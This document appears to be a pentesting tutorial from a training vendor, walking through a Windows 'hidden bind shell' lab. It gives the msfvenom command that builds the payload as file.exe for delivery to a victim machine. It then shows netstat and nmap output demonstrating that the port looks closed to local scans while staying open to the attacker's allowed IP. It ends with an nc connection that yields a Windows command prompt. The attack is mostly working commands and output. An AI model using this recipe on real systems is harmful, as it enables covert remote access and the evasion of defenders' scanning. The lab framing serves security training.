

STATISTICS Cyber Attacks

95%



Human Error

responsible cybersecurity breaches

88%



Spear Phishing

organizations worldwide experienced by Phishing

30%



Internal Actors

involved in data breaches

90%



Cryptomining

behind remote code execution

60%



Weak Password Policy

non-expiring passwords

Metasploit for Pentester

Windows Hidden Bind Shell

Find out more at:
WWW.IGNITETECHNOLOGIES.IN

IGNITE
Technologies



Introduction

Let's cover the tactics of the Hidden BIND TCP shellcode. Every organisation has multiple scanning tools to scan their network and identify new or unidentified open ports. In this type of environment, it's very difficult to hide the suspicious bind shellcode and it remains unnoticed by the scanning tools.

But how can we sit idle without the setting of a new idea? We are here with the concept of the Hidden Bind TCP shell. This shellcode listens to the connection only from the allowed IP address of the host (i.e., a host), and for other connections, it replies with an RST packet (a reset packet is simply one with no payload and with the RST bit set in the TCP header flags). This is the way the port will appear to be "closed" and will help us hide the shellcode.

Pre-requisites for Lap Set up

- Kali Linux (Pentester's Machine)
- Window 10 (Victim's Machine)
- Zenmap Tool

Let's Begin!!

Using msfvenom, we will create a payload for Windows by using shell_hidden_bind_tcp and saving it as an exe file. we will send the file to the victim's PC and execute that malicious file.exe on the victim's system. It will start a new service on the victim's PC with port number 4321, which makes the connection with the pentester's IP.

```
msfvenom -p windows/shell_hidden_bind_tcp ahost=192.168.1.2 lport=4321 -f exe > file.exe
```

```
(root@kali)~# msfvenom -p windows/shell_hidden_bind_tcp ahost=192.168.1.2 lport=4321 -f exe > file.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 386 bytes
Final size of exe file: 73802 bytes
```

Now, in case the victim runs the netstat command, which will display all the active connections as shown in the below screenshot, In the output, port 4321 does not have an IP address, but it appears that some internal services are running through local or internal connections. On the other hand, the connection is already established with the pentester's IP.

```
netstat -ano
```

```
C:\Users\ignite>netstat -ano
```

Active Connections

Proto	Local Address	Foreign Address	State	PID
TCP	0.0.0.0:80	0.0.0.0:0	LISTENING	6156
TCP	0.0.0.0:135	0.0.0.0:0	LISTENING	848
TCP	0.0.0.0:445	0.0.0.0:0	LISTENING	4
TCP	0.0.0.0:3389	0.0.0.0:0	LISTENING	6244
TCP	0.0.0.0:4321	0.0.0.0:0	LISTENING	1552
TCP	0.0.0.0:5040	0.0.0.0:0	LISTENING	4524
TCP	0.0.0.0:5985	0.0.0.0:0	LISTENING	4
TCP	0.0.0.0:7680	0.0.0.0:0	LISTENING	1312
TCP	0.0.0.0:47001	0.0.0.0:0	LISTENING	4
TCP	0.0.0.0:49664	0.0.0.0:0	LISTENING	456
TCP	0.0.0.0:49665	0.0.0.0:0	LISTENING	1164

If the victim wants to verify the service on unknown port 4321 and tries to scan that port using the Zenmap tool, the result of the Nmap will show the closed state of port 4321, which means it is undetectable through the scanning tool. On the other hand, it will make a connection with the pentester's IP.

Zenmap

Scan Tools Profile Help

Target: 127.0.0.1

Command: `nmap -p 4321 127.0.0.1` 

Hosts Services Nmap Output Ports / Hosts Topology Host Details Scans

OS Host

localhost (127.0.0.1)

Nmap Output

`nmap -p 4321 127.0.0.1`

Starting Nmap 7.91 (<https://nmap.org>) at 2021-07-27 09:27 Pacific C

Nmap scan report for localhost (127.0.0.1)

Host is up (0.016s latency).

PORT	STATE	SERVICE
4321/tcp	closed	rwhois

Nmap done: 1 IP address (1 host up) scanned in 0.10 seconds

On the other side, if we scan the same port from outside the network of the victim through Kali. The result of the same Nmap command shows the open state of port 4321.

`nmap -p 4321 192.168.1.145`

```
(root@kali)-[~]  
# nmap -p 4321 192.168.1.145  
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-27 12:21 EDT  
Nmap scan report for 192.168.1.145  
Host is up (0.00020s latency).  
  
PORT      STATE SERVICE  
4321/tcp  open  rwhois  
MAC Address: 00:0C:29:56:F5:A2 (VMware)  
  
Nmap done: 1 IP address (1 host up) scanned in 0.35 seconds
```

This is the hidden shellcode's ability to remain undetectable from the reach of various scanning tools. As we have already executed the malicious payload file.exe on the victim's PC, so we already have a session.

```
nc 192.168.1.145 4321
```

```
(root@kali)-[~]  
# nc 192.168.1.145 4321  
Microsoft Windows [Version 10.0.17763.379]  
(c) 2018 Microsoft Corporation. All rights reserved.  
  
C:\Users\ignite\Downloads>
```